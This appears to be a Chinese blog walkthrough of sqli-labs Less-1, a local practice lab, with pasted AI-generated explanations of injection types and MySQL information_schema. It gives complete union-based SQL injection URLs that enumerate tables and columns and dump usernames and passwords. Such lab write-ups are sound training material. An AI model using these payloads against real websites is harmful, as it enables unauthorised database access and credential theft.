首先观察页面信息,看有没有提示。



很显然,这个页面让我们传入id这个参数(根据题目的分支,应该是get方法)

使用HackBar进行传入参数,首先传入id=1

http://localhost/sqli-labs-master/Less-1/?id=1



发现回显正常

第一步、基础判断

下面进行基础的判断,传入id=1' --+

回显正常,所以判断为字符型注入


ps:关于如何字符型注入和数字型注入的区别(来自copilot)

字符型注入和数字型注入是SQL注入漏洞中的两种常见类型。让我们来详细了解一下如何判断它们。

  1. 数字型注入

    • 当输入的参数 x 为整型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = x;
    • 这种类型可以使用经典的 AND 1=1AND 1=2 来判断。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=x AND 1=1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=x AND 1=2,页面会报错,这说明存在数字型注入。
    • 原因是:当输入 AND 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且返回正常。而输入 AND 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = 1 AND 1=2;,没有语法错误但返回错误。
  2. 字符型注入

    • 当输入的参数 x 为字符型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = 'x';
    • 这种类型我们可以使用 AND '1'='1AND '1'='2 来进行测试。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=1' AND '1'='1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=1' AND '1'='2,页面会报错,说明存在字符型注入。
    • 原因是:当输入 AND '1'='1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='1',语法正确、逻辑判断正确,返回正确。而输入 AND '1'='2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='2',语法正确、逻辑判断错误,返回错误。

总结:

  • 字符型注入需要用单引号来闭合字符串,而数字型不需要。
  • 判断注入类型并不是绝对准确的过程,因为攻击者可以使用各种技巧来绕过检测。
  • 最佳实践是使用参数化查询或预编译语句等安全编程技术来防止注入攻击,同时定期更新和修补软件以修复已知的安全漏洞¹³⁴.

源: 与必应的对话, 2024/2/28

(1) 如何判断是字符型注入还是数字型注入 - CSDN博客. https://blog.csdn.net/chenzzhenguo/article/details/108842399.

(2) 关于字符型注入判断的总结 - 知乎. https://zhuanlan.zhihu.com/p/23899464.

(3) sql注入类型的判断 - 知乎. https://zhuanlan.zhihu.com/p/99961411.

(4) 怎么判断sql注入是数字型还是字符型 - CSDN文库. https://bing.com/search?q=如何判断字符型注入.

(5) sql注入入门必看!一篇文章快速判断是字符型注入 .... https://blog.csdn.net/weixin_43919144/article/details/105552701.

(6) undefined. https://www.jianshu.com/p/5edd7a58a69e.

(7) undefined. http://xxx/abc.php?id=.


第二步、判断列数

在我们判断为字符型注入之后,下面进行列数判断

一般用order by

传入id=1' order by 1 --+

回显正常

下面依次尝试2,3,4...

发现order by 4 的时候回显报错

这样就可以判断列数有三列

第三步、爆显示位

这里我们使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆出回显位如图

第四步、获取数据库版本、数据库名称等信息

还是使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

爆出回显如图

第五步、逐步深入获取数据库信息

现在数据库名称已经爆出来了,下面只需要逐步深入数据库内部,从库名到表名到列名,最后提取需要的信息


下面还是补充一点知识点:

information_schema 是 MySQL 自带的一个信息数据库,它保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等¹²³. 让我们来详细了解一下:

  1. SCHEMATA 表:提供了当前 MySQL 实例中所有数据库的信息,类似于 SHOW DATABASES 的结果¹.
  2. TABLES 表:提供了关于数据库中的表的信息,包括视图。它详细描述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息,类似于 SHOW TABLES FROM schemaname 的结果¹.
  3. COLUMNS 表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息,类似于 SHOW COLUMNS FROM schemaname.tablename 的结果¹.
  4. STATISTICS 表:提供了关于表索引的信息,类似于 SHOW INDEX FROM schemaname.tablename 的结果¹.
  5. USER_PRIVILEGES 表:给出了关于全程权限的信息,该信息源自 mysql.user 授权表,是非标准表¹.
  6. SCHEMA_PRIVILEGES 表:给出了关于方案(数据库)权限的信息,该信息来自 mysql.db 授权表,是非标准表¹.
  7. TABLE_PRIVILEGES 表:给出了关于表权限的信息,该信息源自 mysql.tables_priv 授权表,是非标准表¹.
  8. COLUMN_PRIVILEGES 表:给出了关于列权限的信息,该信息源自 mysql.columns_priv 授权表,是非标准表¹.
  9. CHARACTER_SETS 表:提供了 MySQL 实例可用字符集的信息,类似于 SHOW CHARACTER SET 的结果¹.
  10. COLLATIONS 表:提供了关于各字符集的对照信息¹.
  11. COLLATION_CHARACTER_SET_APPLICABILITY 表:指明了可用于校对的字符集,这些列等效于 SHOW COLLATION 的前两个显示字段¹.
  12. TABLE_CONSTRAINTS 表:描述了存在约束的表以及表的约束类型¹.
  13. KEY_COLUMN_USAGE 表:描述了具有约束的键列¹.
  14. ROUTINES 表:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES 表不包含自定义函数(UDF)¹.
  15. VIEWS 表:给出了关于数据库中的视图的信息,需要有 SHOW VIEWS 权限,否则无法查看视图信息¹.
  16. TRIGGERS 表:提供了关于触发程序的信息,必须有 SUPER 权限才能查看该表¹.

总之,information_schema 就像是 MySQL 实例的一个百科全书,记录了数据库中大部分需要了解的信息,包括字符集、权限、数据库实体对象信息、外键约束、分区、压缩表、表信息、索引信息、参数、优化、锁和事务等等。通过 information_schema,我们可以窥探整个 MySQL 实例的运行情况,了解 MySQL 实例的基本信息,甚至进行优化调优和维护数据库¹.

源: 与必应的对话, 2024/2/28

(1) MySQL information_schema 详解 - 知乎. https://zhuanlan.zhihu.com/p/88342863.

(2) mysql中information_schema表 - ruijing - 博客园. https://www.cnblogs.com/ruijing/p/9953283.html.

(3) mysql information_schema介绍 - HalfWater - 博客园. https://www.cnblogs.com/sdgf/p/6365968.html.

(4) MySQL进阶:INFORMATION_SCHEMA 简介 - 程序猿成长计划 .... https://segmentfault.com/a/1190000020855895.


回到题目

首先爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'  --+

下一步爆列(我们选择爆出来的user表)

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'  --+

最后提取信息

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(id,username,password) from users   --+

这样我们注入的目的就达到了

sqli_lab Less1练习笔记的更多相关文章

  1. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  2. 【sqli-labs】Less1~Less4

    学习sql注入啦,一下都是我做sqli-labs时的笔记.可能有错误,如果有人发现了欢迎指正~~ 常用知识点: 1.mysql注释有三种:① #: 注释从#到行尾 ② --空格: 注释到行尾,注意-- ...

  3. sqli-labs学习笔记 DAY1

    DAY 1 准备工作 安装phpstudy 安装配置sqli-labs 学习笔记 SQL语句的注释:–, # +在URL经过编码后会编码为空格 SQL语句的查询语句:SELECT column_nam ...

  4. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  5. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  6. git-简单流程(学习笔记)

    这是阅读廖雪峰的官方网站的笔记,用于自己以后回看 1.进入项目文件夹 初始化一个Git仓库,使用git init命令. 添加文件到Git仓库,分两步: 第一步,使用命令git add <file ...

  7. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

  8. SQL Server技术内幕笔记合集

    SQL Server技术内幕笔记合集 发这一篇文章主要是方便大家找到我的笔记入口,方便大家o(∩_∩)o Microsoft SQL Server 6.5 技术内幕 笔记http://www.cnbl ...

  9. PHP-自定义模板-学习笔记

    1.  开始 这几天,看了李炎恢老师的<PHP第二季度视频>中的“章节7:创建TPL自定义模板”,做一个学习笔记,通过绘制架构图.UML类图和思维导图,来对加深理解. 2.  整体架构图 ...

  10. PHP-会员登录与注册例子解析-学习笔记

    1.开始 最近开始学习李炎恢老师的<PHP第二季度视频>中的“章节5:使用OOP注册会员”,做一个学习笔记,通过绘制基本页面流程和UML类图,来对加深理解. 2.基本页面流程 3.通过UM ...

随机推荐

  1. CentOS系统下,配制nginx访问favicon.ico

    sudo vim /etc/nginx/nginx.conf 添加以下配制: # set site faviconlocation /favicon.ico { root html;} 完整配置如下: ...

  2. vue3页面使用vue2语法

    vue3页面: import { getCurrentInstance } from 'vue'; const { proxy } = getCurrentInstance(); proxy...

  3. 第12章_MySQL数据类型

    目录: https://www.cnblogs.com/xjwhaha/p/15844178.html 1. MySQL中的数据类型 类型 类型举例 整数类型 TINYINT.SMALLINT.MED ...

  4. dos-基础用法

    DOS(磁盘操作系统)是一个早期的基于命令行的操作系统,尽管现代操作系统已经发展为图形用户界面(GUI),但是了解和掌握一些基本的DOS命令仍然非常有用,尤其是在处理批处理脚本.网络管理或者在没有图形 ...

  5. ncc - koa 后台源码加密打包工具 @vercel/ncc - webpack node打包更正规

    加个重点 webpack 打包更正规 安装 npm i -g @vercel/ncc 又发现一个 https://github.com/zeit/ncc npm i -g @zeit/ncc 卸载之前 ...

  6. 简单实用算法——位图算法(BitMap)

    目录 算法原理 优点和缺点 算法实现(C#) 算法应用 参考文章 算法原理 BitMap的基本思想就是用一个bit位来标记某个元素对应的Value,而Key即是该元素.由于采用了Bit为单位来存储数据 ...

  7. Java使用Steam流对数组进行排序

    原文地址:Java使用Steam流对数组进行排序 - Stars-One的杂货小窝 简单记下笔记,不是啥难的东西 sorted()方法里传了一个比较器的接口 File file = new File( ...

  8. [leetcode 496. 下一个更大元素 I] 单调栈

    单调栈的写法: import java.util.ArrayDeque; import java.util.Deque; import java.util.HashMap; import java.u ...

  9. InfluxDB、Grafana、node_exporter、Prometheus搭建压测平台

    InfluxDB.Grafana.node_exporter.Prometheus搭建压测平台 我们的压测平台的架构图如下: 配置docker环境 1)yum 包更新到最新 sudo yum upda ...

  10. ItemTouchHelper 实现交互动画

    目录介绍 01.拖拽需要实现功能 02.几个重要的方法说明 03.简单实现思路 04.拖拽效果上优化 05.完整代码展示 好消息 博客笔记大汇总[16年3月到至今],包括Java基础及深入知识点,An ...